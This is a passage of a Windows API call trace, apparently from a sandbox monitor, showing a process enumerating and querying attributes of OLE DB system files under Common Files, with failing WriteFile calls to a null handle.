	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1
	[0240.906] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.906] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.907] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0240.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000031790 | out: lpFileInformation=0xc000031790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0xc000031548 | out: lpFindFileData=0xc000031548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.910] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.910] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1
	[0240.910] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1
	[0240.910] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1
	[0240.910] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1
	[0240.910] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.910] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.910] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0) returned 0
	[0240.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0240.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0240.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00)) returned 1
	[0240.920] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0240.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00)) returned 1
	[0240.936] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0240.937] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1
	[0240.955] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0240.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600)) returned 1
	[0240.991] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0240.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00)) returned 1
	[0240.998] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0240.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800)) returned 1
	[0241.017] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600)) returned 1
	[0241.018] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00)) returned 1
	[0241.019] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0241.022] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000)) returned 1
	[0241.024] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000)) returned 1
	[0241.025] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c)) returned 1
	[0241.058] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7)) returned 1
	[0241.122] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.123] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000)) returned 1
	[0241.131] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
